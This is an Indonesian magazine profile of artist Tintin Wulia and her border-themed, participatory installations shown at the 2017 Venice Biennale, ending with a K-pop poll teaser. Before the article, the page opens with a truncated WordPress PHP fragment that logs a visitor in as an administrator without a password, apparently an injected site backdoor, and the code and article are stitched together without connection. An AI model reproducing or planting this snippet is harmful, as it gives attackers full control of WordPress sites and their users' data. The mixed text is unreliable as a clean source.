user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Profile
Seni Lintas Batas Bagi Tintin Wulia, Wakil Indonesia di Venice Art Biennale 2017

23 Oct 2017

 

Wajah Seni Modern
Dalam menampilkan karya-karya seninya, wanita kelahiran Denpasar, Bali ini  termasuk yang konsisten dan produktif di jalurnya. Bisa dibilang, 1001 Martian Homes terpaut erat dengan karya-karya Tintin lainnya sepanjang 10 tahun perjalanannya di dunia seni kontemporer.

Gagasan-gagasan tentang tema ‘batas’ banyak ia angkat dalam karyanya. Bukan pendekatan lewat batas geografis belaka, ia juga melihat batas sebagai bagian dari kerangka geopolitis. Geografi dan kekuasaan dipahami sebagai dua hal yang saling memengaruhi dan sama-sama menentukan cara orang berpikir dan bertindak ketika berhadapan dengan batas.

Salah satu karya Tintin yang langsung berbicara tentang geopolitis adalah (Re)Collection of Togetherness (2008) yang menampilkan instalasi seni berupa rangkaian paspor-paspor tiruan. Paspor ini merepresentasikan kebebasan sebagian orang untuk bisa bepergian ke berbagai tempat secara mudah melintasi batas, tapi bagi sebagian lainnya dokumen ini juga mengekang mereka dengan identitas kewarganegaraan dan aturan resmi lainnya.

Kekhasan lain dari karya Tintin adalah koneksi yang tercipta antara manusia dengan benda. Dalam pandangannya, benda sebagai bagian dari jaringan sosial, menjadi jembatan bagi manusia untuk berkomunikasi. Benda juga menstimulasi interaksi hubungan manusia dengan manusia. Lewat karya-karyanya, ia membuat interaksi antara manusia lewat benda.

“Kita ini dikelilingi benda dan tanpa benda kita tidak mungkin hidup. Baju misalnya, kita tidak mungkin keluar tanpa pakai baju. Atau jam tangan yang seperti sudah menyatu dengan tangan kita. Atau ponsel yang seakan memanggil kita untuk menyentuhnya,” ungkap Tintin, yang memasukkan konsep tentang benda ini dalam penelitian untuk gelar PhD-nya.

Advertisement
Dalam karyanya yang berjudul Five Tonnes of Homes and Other Understories (part of Trade/Trace/Transit, 2014 – 2016), misalnya. Instalasi ini ia bangun dari kardus-kardus yang menyerupai rumah bagi tunawisma di Hong Kong. Sebagai simbol bagaimana manusia terhubung lewat sebuah benda bernama kardus.

Dalam banyak karyanya, Tintin juga memanfaatkan metode interaktif dan partisipatori. Ia mengajak audiensi untuk terlibat dalam karya seninya, seperti dalam instalasi berbasis peta, Nous ne notons pas les fleurs (2009 –2012).

Pameran yang dilakukan di sejumlah kota ini ditampilkan dalam berbagai objek berbeda-beda, mulai dari bunga dalam pot, rempah-rempah, hingga bebatuan warna-warni yang dikonstruksikan di lantai menyerupai peta. Dalam instalasi seni ini, penonton diajak untuk berpartisipasi dengan cara membentuk kembali peta tersebut hingga terjadi perubahan dari peta awalnya.

“Kalau dulu seni adalah hubungan manusia dengan Tuhan, kini seni adalah hubungan manusia dengan manusia. Bagaimana manusia berinteraksi,” kata wanita yang menerima apresiasi dari Australia Council berupa Art’s Creative Australia Fellowshio 2014-2016, ini. 

Instalasi seni berjudul 40.000 Homes and a Sense of Security (2016) ini berisi 800 kartu pos yang menggantung dengan masing-masing memuat satu huruf dan tanda baca yang dirangkai menjadi kalimat bercerita tentang Hansel and Gretel. Sebelumnya, 800 kartu pos yang digunakan terlebih dahulu diberi pilox hitam satu sisinya, gunanya untuk melihat jejak sidik jari manusia di  tiap kartu pos tersebut. Lalu, kartu pos yang disebar kepada 800 orang di kota-kota di Belanda, yaitu Amsterdam, Roterdam, dan Utrecht, itu dikirimkan kembali ke satu alamat di Amsterdam.

“Setelah terkumpul, tidak hanya kartu posnya, kita juga bisa melihat jejak sidik jari dan yang tidak kami sangka adalah jejak mesin sortir di kantor pos yang turut terekam pada kartu pos tersebut,” ungkapnya.
Ide boleh datang dari mana saja, tapi menurut Tintin research penuh sebelum mengeksekusi sebuah ide itu penting. Untuk ini, ia bisa melakukannya selama berbulan-bulan. Ini karakter Tintin yang khas.
 

Faunda Liswijayanti


Topic

#wanitahebat, #profil, #seni

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?